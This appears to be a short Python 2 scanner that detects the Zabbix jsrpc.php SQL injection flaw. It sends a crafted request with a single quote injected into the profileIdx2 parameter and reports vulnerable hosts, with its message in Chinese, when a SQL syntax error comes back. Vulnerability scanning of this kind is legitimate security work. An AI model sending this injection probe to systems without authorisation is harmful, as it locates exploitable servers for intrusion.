# coding: utf8
import httplib2
import sys
import os


def detect(url):
    if url[-1] != '/': url += '/'
    payload = "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=999'&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1"

    http = httplib2.Http()
    content = http.request(url + payload)[1]

    if "You have an error in your SQL syntax" in content:
        print url + u' 存在Zabbix SQL注入漏洞'